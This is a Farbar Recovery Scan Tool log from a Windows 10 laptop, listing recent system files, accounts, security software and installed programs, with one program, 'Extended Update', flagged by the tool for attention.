2016-04-12 20:39 - 2016-03-29 03:07 - 00031232 _____ (Microsoft Corporation) C:\WINDOWS\system32\wsdchngr.dll
2016-04-12 20:39 - 2016-03-29 03:06 - 00012800 _____ (Microsoft Corporation) C:\WINDOWS\system32\oleacchooks.dll
2016-04-12 20:39 - 2016-03-29 03:00 - 00076800 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetCfgNotifyObjectHost.exe
2016-04-12 20:39 - 2016-03-29 03:00 - 00069632 _____ (Microsoft Corporation) C:\WINDOWS\system32\fveskybackup.dll
2016-04-12 20:39 - 2016-03-29 03:00 - 00028672 _____ (Microsoft Corporation) C:\WINDOWS\system32\mapsupdatetask.dll
2016-04-12 20:39 - 2016-03-29 02:59 - 00027648 _____ (Microsoft Corporation) C:\WINDOWS\system32\LicenseManagerShellext.exe
2016-04-12 20:39 - 2016-03-29 02:57 - 00199168 _____ (Microsoft Corporation) C:\WINDOWS\system32\InstallAgent.exe
2016-04-12 20:39 - 2016-03-29 02:57 - 00095744 _____ (Microsoft Corporation) C:\WINDOWS\system32\samlib.dll
2016-04-12 20:39 - 2016-03-29 02:57 - 00074752 _____ (Microsoft Corporation) C:\WINDOWS\system32\MosStorage.dll
2016-04-12 20:39 - 2016-03-29 02:57 - 00058368 _____ (Microsoft Corporation) C:\WINDOWS\system32\browcli.dll
2016-04-12 20:39 - 2016-03-29 02:55 - 00120320 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapsBtSvc.dll
2016-04-12 20:39 - 2016-03-29 02:55 - 00083968 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\serial.sys
2016-04-12 20:39 - 2016-03-29 02:55 - 00036352 _____ (Microsoft Corporation) C:\WINDOWS\system32\tbauth.dll
2016-04-12 20:39 - 2016-03-29 02:54 - 00147456 _____ (Microsoft Corporation) C:\WINDOWS\system32\mtxoci.dll
2016-04-12 20:39 - 2016-03-29 02:54 - 00112640 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\bthenum.sys
2016-04-12 20:39 - 2016-03-29 02:53 - 00116224 _____ (Microsoft Corporation) C:\WINDOWS\system32\FontProvider.dll
2016-04-12 20:39 - 2016-03-29 02:52 - 00026112 _____ (Microsoft Corporation) C:\WINDOWS\system32\TokenBrokerCookies.exe
2016-04-12 20:39 - 2016-03-29 02:51 - 00167936 _____ (Microsoft Corporation) C:\WINDOWS\system32\dafBth.dll
2016-04-12 20:39 - 2016-03-29 02:51 - 00087040 _____ (Microsoft Corporation) C:\WINDOWS\system32\tzautoupdate.dll
2016-04-12 20:39 - 2016-03-29 02:50 - 00107520 _____ (Microsoft Corporation) C:\WINDOWS\system32\BdeHdCfgLib.dll
2016-04-12 20:39 - 2016-03-29 02:50 - 00088576 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppxSysprep.dll
2016-04-12 20:39 - 2016-03-29 02:50 - 00066560 _____ (Microsoft Corporation) C:\WINDOWS\system32\moshost.dll
2016-04-12 20:39 - 2016-03-29 02:50 - 00066048 _____ (Microsoft Corporation) C:\WINDOWS\system32\OnDemandConnRouteHelper.dll
2016-04-12 20:39 - 2016-03-29 02:50 - 00033280 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuautoappupdate.dll
2016-04-12 20:39 - 2016-03-29 02:49 - 00245760 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\BthLEEnum.sys
2016-04-12 20:39 - 2016-03-29 02:49 - 00091136 _____ (Microsoft Corporation) C:\WINDOWS\system32\browserbroker.dll
2016-04-12 20:39 - 2016-03-29 02:48 - 00144896 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Media.Devices.dll
2016-04-12 20:39 - 2016-03-29 02:48 - 00086528 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppCapture.dll
2016-04-12 20:39 - 2016-03-29 02:46 - 00134656 _____ (Microsoft Corporation) C:\WINDOWS\system32\browser.dll
2016-04-12 20:39 - 2016-03-29 02:44 - 00230400 _____ (Microsoft Corporation) C:\WINDOWS\system32\DAFWSD.dll
2016-04-12 20:39 - 2016-03-29 02:36 - 00530432 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\nwifi.sys
2016-04-12 20:39 - 2016-03-29 02:35 - 00411648 _____ (Microsoft Corporation) C:\WINDOWS\system32\oleacc.dll
2016-04-12 20:39 - 2016-03-29 02:35 - 00239616 _____ (Microsoft Corporation) C:\WINDOWS\system32\credprovhost.dll
2016-04-12 20:39 - 2016-03-29 02:34 - 00686592 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieproxy.dll
2016-04-12 20:39 - 2016-03-29 02:34 - 00333824 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\portcls.sys
2016-04-12 20:39 - 2016-03-29 02:34 - 00284672 _____ (Microsoft Corporation) C:\WINDOWS\system32\dnsrslvr.dll
2016-04-12 20:39 - 2016-03-29 02:33 - 00174592 _____ (Microsoft Corporation) C:\WINDOWS\system32\easwrt.dll
2016-04-12 20:39 - 2016-03-29 02:32 - 00764928 _____ (Microsoft Corporation) C:\WINDOWS\system32\Chakradiag.dll
2016-04-12 20:39 - 2016-03-29 02:32 - 00414720 _____ (Microsoft Corporation) C:\WINDOWS\system32\bcastdvr.exe
2016-04-12 20:39 - 2016-03-29 02:30 - 00328192 _____ (Microsoft Corporation) C:\WINDOWS\system32\profsvc.dll
2016-04-12 20:39 - 2016-03-29 02:30 - 00161792 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msorcl32.dll
2016-04-12 20:39 - 2016-03-29 02:23 - 00694784 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\WdiWiFi.sys
2016-04-12 20:39 - 2016-03-29 02:21 - 00330240 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.ApplicationModel.Store.TestingFramework.dll
2016-04-12 20:39 - 2016-03-29 02:20 - 00166400 _____ (Microsoft Corporation) C:\WINDOWS\system32\AboveLockAppHost.dll
2016-04-12 20:39 - 2016-03-29 02:20 - 00080384 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SensorsNativeApi.V2.dll
2016-04-12 20:39 - 2016-03-29 02:20 - 00026112 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wsdchngr.dll
2016-04-12 20:39 - 2016-03-29 02:19 - 00010240 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\oleacchooks.dll
2016-04-12 20:39 - 2016-03-29 02:18 - 00676352 _____ (Microsoft Corporation) C:\WINDOWS\system32\WSDApi.dll
2016-04-12 20:39 - 2016-03-29 02:17 - 00708608 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Security.Authentication.Web.Core.dll
2016-04-12 20:39 - 2016-03-29 02:14 - 00084992 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\BTHUSB.SYS
2016-04-12 20:39 - 2016-03-29 02:11 - 00881664 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Input.Inking.dll
2016-04-12 20:39 - 2016-03-29 02:11 - 00161280 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\InstallAgent.exe
2016-04-12 20:39 - 2016-03-29 02:11 - 00061440 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\samlib.dll
2016-04-12 20:39 - 2016-03-29 02:11 - 00059904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MosStorage.dll
2016-04-12 20:39 - 2016-03-29 02:11 - 00043520 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\browcli.dll
2016-04-12 20:39 - 2016-03-29 02:09 - 00087040 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MapsBtSvc.dll
2016-04-12 20:39 - 2016-03-29 02:09 - 00030208 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tbauth.dll
2016-04-12 20:39 - 2016-03-29 02:08 - 00888320 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Networking.dll
2016-04-12 20:39 - 2016-03-29 02:08 - 00841216 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32spl.dll
2016-04-12 20:39 - 2016-03-29 02:08 - 00118272 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mtxoci.dll
2016-04-12 20:39 - 2016-03-29 02:06 - 00022528 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\TokenBrokerCookies.exe
2016-04-12 20:39 - 2016-03-29 02:05 - 00052736 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\OnDemandConnRouteHelper.dll
2016-04-12 20:39 - 2016-03-29 02:04 - 00103936 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Media.Devices.dll
2016-04-12 20:39 - 2016-03-29 02:03 - 00148480 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dfsc.sys
2016-04-12 20:39 - 2016-03-29 02:00 - 00235008 _____ C:\WINDOWS\system32\MTF.dll
2016-04-12 20:39 - 2016-03-29 02:00 - 00176128 _____ (Microsoft Corporation) C:\WINDOWS\system32\SystemSettings.DeviceEncryptionHandlers.dll
2016-04-12 20:39 - 2016-03-29 01:59 - 00223232 _____ (Microsoft Corporation) C:\WINDOWS\system32\fveapibase.dll
2016-04-12 20:39 - 2016-03-29 01:59 - 00119808 _____ (Microsoft Corporation) C:\WINDOWS\system32\BitLockerDeviceEncryption.exe
2016-04-12 20:39 - 2016-03-29 01:53 - 00323072 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\oleacc.dll
2016-04-12 20:39 - 2016-03-29 01:53 - 00193024 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\credprovhost.dll
2016-04-12 20:39 - 2016-03-29 01:52 - 00306176 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieproxy.dll
2016-04-12 20:39 - 2016-03-29 01:52 - 00141824 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\easwrt.dll
2016-04-12 20:39 - 2016-03-29 01:49 - 00288256 _____ (Microsoft Corporation) C:\WINDOWS\system32\fveui.dll
2016-04-12 20:39 - 2016-03-29 01:42 - 00250880 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.ApplicationModel.Store.TestingFramework.dll
2016-04-12 20:39 - 2016-03-29 01:41 - 00129024 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AboveLockAppHost.dll
2016-04-12 20:39 - 2016-03-29 01:39 - 00564224 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WSDApi.dll
2016-04-12 20:39 - 2016-03-29 01:39 - 00496128 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Security.Authentication.Web.Core.dll
2016-04-12 20:39 - 2016-03-29 01:36 - 03351040 _____ (Microsoft Corporation) C:\WINDOWS\system32\msi.dll
2016-04-12 20:39 - 2016-03-29 01:34 - 00784896 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NMAA.dll
2016-04-12 20:39 - 2016-03-29 01:34 - 00682496 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Input.Inking.dll
2016-04-12 20:39 - 2016-03-29 01:32 - 00854528 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Devices.Bluetooth.dll
2016-04-12 20:39 - 2016-03-29 01:32 - 00638464 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Networking.dll
2016-04-12 20:39 - 2016-03-29 01:32 - 00176640 _____ (Microsoft Corporation) C:\WINDOWS\system32\mdmregistration.dll
2016-04-12 20:39 - 2016-03-29 01:32 - 00128512 _____ (Microsoft Corporation) C:\WINDOWS\system32\dmcsps.dll
2016-04-12 20:39 - 2016-03-29 01:31 - 01117184 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Media.Speech.dll
2016-04-12 20:39 - 2016-03-29 01:31 - 00705536 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wuapi.dll
2016-04-12 20:39 - 2016-03-29 01:27 - 07979008 _____ (Microsoft Corporation) C:\WINDOWS\system32\mos.dll
2016-04-12 20:39 - 2016-03-29 01:27 - 00162816 _____ C:\WINDOWS\SysWOW64\MTF.dll
2016-04-12 20:39 - 2016-03-29 01:23 - 00777728 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MsSpellCheckingFacility.dll
2016-04-12 20:39 - 2016-03-29 01:13 - 00592384 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Web.dll
2016-04-12 20:39 - 2016-03-29 01:06 - 00151040 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mdmregistration.dll
2016-04-12 20:39 - 2016-03-29 01:05 - 00450560 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SyncController.dll
2016-04-12 20:39 - 2016-03-29 01:04 - 00848896 _____ (Microsoft Corporation) C:\WINDOWS\system32\samsrv.dll
2016-04-12 20:39 - 2016-03-29 01:01 - 00957952 _____ (Microsoft Corporation) C:\WINDOWS\system32\IKEEXT.DLL
2016-04-12 20:39 - 2016-03-29 01:00 - 06297088 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mos.dll
2016-04-12 20:39 - 2016-03-29 00:45 - 00338432 _____ (Microsoft Corporation) C:\WINDOWS\system32\ncbservice.dll
2016-04-12 20:39 - 2016-03-29 00:43 - 00521728 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Networking.Connectivity.dll
2016-04-12 20:39 - 2016-03-29 00:35 - 00821248 _____ (Microsoft Corporation) C:\WINDOWS\system32\fvewiz.dll
2016-04-12 20:39 - 2016-03-29 00:28 - 00324608 _____ (Microsoft Corporation) C:\WINDOWS\system32\fvecpl.dll
2016-04-12 20:39 - 2016-03-29 00:27 - 00794112 _____ (Microsoft Corporation) C:\WINDOWS\system32\BFE.DLL
2016-04-12 20:39 - 2016-03-29 00:26 - 00402432 _____ (Microsoft Corporation) C:\WINDOWS\system32\FWPUCLNT.DLL
2016-04-12 20:39 - 2016-03-29 00:25 - 00269824 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\FWPUCLNT.DLL
2016-04-12 20:39 - 2016-03-29 00:21 - 00065536 _____ (Microsoft Corporation) C:\WINDOWS\system32\basesrv.dll

==================== One Month Modified files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2016-05-04 19:58 - 2015-10-30 02:24 - 00000000 ____D C:\WINDOWS\AppReadiness
2016-05-04 16:38 - 2016-03-22 20:52 - 00000830 _____ C:\WINDOWS\Tasks\Adobe Flash Player Updater.job
2016-05-04 16:34 - 2015-12-31 01:24 - 00000308 _____ C:\WINDOWS\Tasks\UpdaterEX.job
2016-05-04 16:15 - 2016-01-15 23:22 - 00972104 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2016-05-04 16:15 - 2015-10-30 02:21 - 00000000 ____D C:\WINDOWS\INF
2016-05-04 15:48 - 2015-12-31 00:20 - 00000000 ____D C:\Users\nikki\AppData\Local\Packages
2016-05-04 15:48 - 2015-10-30 02:24 - 00000000 ___HD C:\Program Files\WindowsApps
2016-05-04 15:41 - 2015-12-31 00:21 - 00000000 ____D C:\Users\nikki\AppData\Local\Publishers
2016-05-04 15:37 - 2015-12-31 00:31 - 00004166 _____ C:\WINDOWS\System32\Tasks\User_Feed_Synchronization-{F0BB79BD-1F55-442D-80D2-4189E0CBBD39}
2016-05-03 18:08 - 2015-10-30 02:24 - 00000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2016-05-03 18:03 - 2015-12-19 15:38 - 00000000 ____D C:\Program Files (x86)\Microsoft Office
2016-05-03 17:58 - 2015-12-31 02:42 - 00002279 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2016-05-03 17:58 - 2015-12-31 02:42 - 00002267 _____ C:\Users\Public\Desktop\Google Chrome.lnk
2016-05-03 17:53 - 2015-12-19 14:59 - 00931947 _____ C:\WINDOWS\SysWOW64\rootpa.e2e
2016-05-03 17:51 - 2015-12-31 02:42 - 00000918 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job
2016-05-03 17:50 - 2016-01-15 23:38 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT
2016-05-03 17:50 - 2015-12-31 02:42 - 00000922 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job
2016-05-02 19:21 - 2016-01-11 01:12 - 00000000 ____D C:\Program Files (x86)\Steam
2016-05-02 00:21 - 2015-12-31 02:42 - 00003494 _____ C:\WINDOWS\System32\Tasks\GoogleUpdateTaskMachineUA
2016-05-02 00:21 - 2015-12-19 15:33 - 00002232 _____ C:\WINDOWS\System32\Tasks\DropboxOEM
2016-05-01 23:39 - 2016-01-15 23:23 - 00000000 ____D C:\Users\nikki
2016-04-30 22:07 - 2015-10-30 01:28 - 00032768 ___SH C:\WINDOWS\system32\config\ELAM
2016-04-19 18:03 - 2015-10-30 02:24 - 00000000 ____D C:\WINDOWS\rescache
2016-04-19 16:20 - 2015-12-19 15:07 - 00000000 ____D C:\ProgramData\mcafee
2016-04-18 19:21 - 2015-10-30 01:28 - 00524288 ___SH C:\WINDOWS\system32\config\BBI
2016-04-18 19:16 - 2015-12-19 15:16 - 00000000 ____D C:\ProgramData\SUPPORTDIR
2016-04-18 19:16 - 2015-12-19 14:45 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2016-04-18 19:15 - 2016-01-15 23:19 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Music, Photos and Videos
2016-04-18 19:15 - 2015-12-19 15:21 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Productivity and Tools
2016-04-18 19:15 - 2015-12-19 15:18 - 00000000 ____D C:\Program Files (x86)\CyberLink
2016-04-18 19:14 - 2015-12-31 00:21 - 00000000 ____D C:\Users\nikki\AppData\Local\CyberLink
2016-04-18 19:14 - 2015-12-19 15:19 - 00000000 ____D C:\ProgramData\CyberLink
2016-04-18 19:09 - 2015-12-31 01:22 - 00000000 ____D C:\ProgramData\3ad116be-3e25-1
2016-04-18 19:09 - 2015-12-31 01:22 - 00000000 ____D C:\ProgramData\3ad116be-01b3-0
2016-04-18 19:08 - 2016-03-16 22:28 - 00000000 ____D C:\ProgramData\{02779eab-312c-0}
2016-04-18 19:08 - 2016-03-16 22:28 - 00000000 ____D C:\ProgramData\{021c7754-712c-1}
2016-04-18 18:47 - 2016-01-15 23:18 - 00065536 _____ C:\WINDOWS\system32\spu_storage.bin
2016-04-18 18:43 - 2015-12-31 01:17 - 00000000 ____D C:\Users\nikki\OneDrive\Documents\YouCam
2016-04-18 18:11 - 2015-12-31 00:25 - 00000000 ___RD C:\Users\nikki\OneDrive
2016-04-17 19:36 - 2016-01-14 22:05 - 00000000 ____D C:\Users\nikki\AppData\Roaming\Skype
2016-04-17 15:06 - 2016-01-31 22:42 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2016-04-17 15:04 - 2015-12-19 15:07 - 00000000 ____D C:\Program Files\mcafee
2016-04-17 15:01 - 2016-01-02 04:03 - 00000000 ____D C:\WINDOWS\System32\Tasks\McAfee
2016-04-17 15:01 - 2015-10-30 02:24 - 00000000 ___HD C:\WINDOWS\ELAMBKUP
2016-04-17 14:45 - 2015-07-10 04:05 - 00000000 ____D C:\Users\Default.migrated
2016-04-15 06:07 - 2016-03-22 20:52 - 00002016 _____ C:\Users\Public\Desktop\McAfee Security Scan Plus.lnk
2016-04-15 04:18 - 2015-10-30 02:11 - 00000000 ____D C:\WINDOWS\CbsTemp
2016-04-15 03:50 - 2016-01-15 23:14 - 00241712 _____ C:\WINDOWS\system32\FNTCACHE.DAT
2016-04-15 03:47 - 2015-10-30 02:24 - 00000000 ____D C:\WINDOWS\system32\WinBioPlugIns
2016-04-15 03:47 - 2015-10-30 02:24 - 00000000 ____D C:\WINDOWS\system32\appraiser
2016-04-15 03:47 - 2015-10-30 02:24 - 00000000 ____D C:\WINDOWS\PolicyDefinitions
2016-04-15 03:47 - 2015-10-30 02:24 - 00000000 ____D C:\WINDOWS\bcastdvr
2016-04-14 21:23 - 2015-12-31 03:19 - 00000000 ____D C:\WINDOWS\system32\MRT
2016-04-14 21:06 - 2015-12-31 03:19 - 135176864 _____ (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe
2016-04-06 13:32 - 2015-10-30 02:26 - 00829944 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerApp.exe
2016-04-06 13:32 - 2015-10-30 02:26 - 00176632 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerCPLApp.cpl

==================== Bamital & volsnap =================

(There is no automatic fix for files that do not pass verification.)

C:\WINDOWS\system32\winlogon.exe => File is digitally signed
C:\WINDOWS\system32\wininit.exe => File is digitally signed
C:\WINDOWS\explorer.exe => File is digitally signed
C:\WINDOWS\SysWOW64\explorer.exe => File is digitally signed
C:\WINDOWS\system32\svchost.exe => File is digitally signed
C:\WINDOWS\SysWOW64\svchost.exe => File is digitally signed
C:\WINDOWS\system32\services.exe => File is digitally signed
C:\WINDOWS\system32\User32.dll => File is digitally signed
C:\WINDOWS\SysWOW64\User32.dll => File is digitally signed
C:\WINDOWS\system32\userinit.exe => File is digitally signed
C:\WINDOWS\SysWOW64\userinit.exe => File is digitally signed
C:\WINDOWS\system32\rpcss.dll => File is digitally signed
C:\WINDOWS\system32\dnsapi.dll => File is digitally signed
C:\WINDOWS\SysWOW64\dnsapi.dll => File is digitally signed
C:\WINDOWS\system32\Drivers\volsnap.sys => File is digitally signed


LastRegBack: 2016-05-01 21:13

==================== End of FRST.txt ============================

Additional scan result of Farbar Recovery Scan Tool (x64) Version:05-05-2016 01
Ran by nikki (2016-05-04 20:29:58)
Running from C:\Users\nikki\Desktop
Windows 10 Home Version 1511 (X64) (2016-01-16 04:45:10)
Boot Mode: Normal
==========================================================


==================== Accounts: =============================

Administrator (S-1-5-21-4202283924-1420085414-670275171-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-4202283924-1420085414-670275171-503 - Limited - Disabled)
Guest (S-1-5-21-4202283924-1420085414-670275171-501 - Limited - Disabled)
nikki (S-1-5-21-4202283924-1420085414-670275171-1001 - Administrator - Enabled) => C:\Users\nikki

==================== Security Center ========================

(If an entry is included in the fixlist, it will be removed.)

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: McAfee Anti-Virus and Anti-Spyware (Enabled - Up to date) {DA9F8ED0-D0DE-39CC-F55A-51AB4CC1B556}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Spybot - Search and Destroy (Enabled - Up to date) {9BC38DF1-3CCA-732D-A930-C1CA5F20A4B0}
AS: McAfee Anti-Virus and Anti-Spyware (Enabled - Up to date) {61FE6F34-F6E4-3642-CFEA-6AD93746FFEB}
FW: McAfee Firewall (Enabled) {E2A40FF5-9AB1-3894-DE05-F89EB212F22D}

==================== Installed Programs ======================

(Only the adware programs with "Hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)

Adobe Acrobat Reader DC (HKLM-x32\...\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}) (Version: 15.010.20060 - Adobe Systems Incorporated)
Adobe Flash Player 21 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 21.0.0.213 - Adobe Systems Incorporated)
Adobe Shockwave Player 12.1 (HKLM-x32\...\Adobe Shockwave Player) (Version: 12.1.7.157 - Adobe Systems, Inc.)
AMD Catalyst Install Manager (HKLM\...\{E7659924-9EC9-B722-0136-A6D414E6E29E}) (Version: 8.0.916.0 - Advanced Micro Devices, Inc.)
Broadcom 802.11 Network Adapter (HKLM\...\Broadcom 802.11 Network Adapter) (Version: - Broadcom Corporation)
Broadcom Bluetooth Drivers (HKLM\...\{0A1B4690-E176-4533-8058-939480AEE1D0}) (Version: 12.0.1.850 - Broadcom Corporation)
CCleaner (HKLM\...\CCleaner) (Version: 5.13 - Piriform)
CyberLink PhotoDirector (HKLM-x32\...\InstallShield_{5A454EC5-217A-42a5-8CE1-2DDEC4E70E01}) (Version: 5.0.5.6713 - CyberLink Corp.)
CyberLink PhotoDirector (Version: 5.0.5.6713 - CyberLink Corp.) Hidden
CyberLink PowerDirector 12 (HKLM-x32\...\InstallShield_{E1646825-D391-42A0-93AA-27FA810DA093}) (Version: 12.0.5.4601 - CyberLink Corp.)
CyberLink PowerDirector 12 (Version: 12.0.5.4601 - CyberLink Corp.) Hidden
DisableMSDefender (Version: 1.0.0 - Hewlett-Packard Company) Hidden
Don't Starve Together Beta (HKLM-x32\...\Steam App 322330) (Version: - Klei Entertainment)
Dropbox 25 GB (HKLM-x32\...\{597A58EC-42D6-4940-8739-FB94491B013C}) (Version: 1.0.8.2 - Dropbox, Inc.)
Energy Star (HKLM\...\{465CA2B6-98AF-4E77-BE22-A908C34BB9EC}) (Version: 1.0.9 - Hewlett-Packard Company)
Extended Update (HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\UpdaterEX) (Version: - Extended Update) <==== ATTENTION
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 50.0.2661.94 - Google Inc.)
Google Update Helper (x32 Version: 1.3.21.169 - Google Inc.) Hidden
Google Update Helper (x32 Version: 1.3.29.5 - Google Inc.) Hidden
HP 3D DriveGuard (HKLM-x32\...\{E8D0E2B8-B64B-44BC-8E01-00DDACBDF78A}) (Version: 6.0.28.1 - Hewlett-Packard Company)
HP CoolSense (HKLM-x32\...\{1504CF6F-8139-497F-86FC-46174B67CF7F}) (Version: 2.20.51 - Hewlett-Packard Company)
HP Documentation (HKLM\...\HP_Documentation) (Version: - HP)
HP Registration Service (HKLM\...\{D1E8F2D7-7794-4245-B286-87ED86C1893C}) (Version: 1.2.8293.5264 - Hewlett-Packard)
HP Support Assistant (HKLM-x32\...\{61EB474B-67A6-47F4-B1B7-386851BAB3D0}) (Version: 8.2.8.25 - Hewlett-Packard Company)
HP Support Solutions Framework (HKLM-x32\...\{D7D5F438-26EF-45AB-AB89-C476FBCF8584}) (Version: 12.2.8.17 - Hewlett-Packard Company)
HP System Event Utility (HKLM-x32\...\{D17A3B70-B75E-4C49-83D6-C17DDF65B35F}) (Version: 1.3.4 - Hewlett-Packard Company)
HP Welcome (HKLM\...\HPWelcome) (Version: 1.0 - Hewlett-Packard Company)
HP Wireless Button Driver (HKLM-x32\...\{EFA01423-3857-468C-B7B6-F30AA08E50BC}) (Version: 1.1.5.1 - Hewlett-Packard)
League of Legends (HKLM-x32\...\League of Legends 3.0.1) (Version: 3.0.1 - Riot Games)
League of Legends (x32 Version: 3.0.1 - Riot Games) Hidden
McAfee LiveSafe (HKLM-x32\...\MSC) (Version: 14.0.8185 - McAfee, Inc.)
McAfee Security Scan Plus (HKLM\...\McAfee Security Scan) (Version: 3.11.309.1 - McAfee, Inc.)
Microsoft Office Home and Student 2016 - en-us (HKLM\...\HomeStudentRetail - en-us) (Version: 16.0.6769.2040 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{6ce5bae9-d3ca-4b99-891a-1dc6c118a5fc}) (Version: 8.0.59192 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.17 (HKLM\...\{8220EEFE-38CD-377E-8595-13398D740ACE}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Preview Redistributable (x64) - 12.0.20617 (HKLM-x32\...\{448652c1-f5f3-4230-98c6-68c10c88b1fb}) (Version: 12.0.20617.1 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.21005 (HKLM-x32\...\{7f51bdb9-ee21-49ee-94d6-90afc321780e}) (Version: 12.0.21005.1 - Microsoft Corporation)
Microsoft XNA Framework Redistributable 4.0 (HKLM-x32\...\{2BFC7AA0-544C-4E3A-8796-67F3BE655BE9}) (Version: 4.0.20823.0 - Microsoft Corporation)
Mozilla Firefox 45.0.2 (x86 en-US) (HKLM-x32\...\Mozilla Firefox 45.0.2 (x86 en-US)) (Version: 45.0.2 - Mozilla)
OEM Application Profile (HKLM-x32\...\{B4B7FD8F-06FC-E277-4F29-8F75F8281D8F}) (Version: 1.00.0000 - Advanced Micro Devices, Inc.)
Office 16 Click-to-Run Extensibility Component (x32 Version: 16.0.6729.1019 - Microsoft Corporation) Hidden
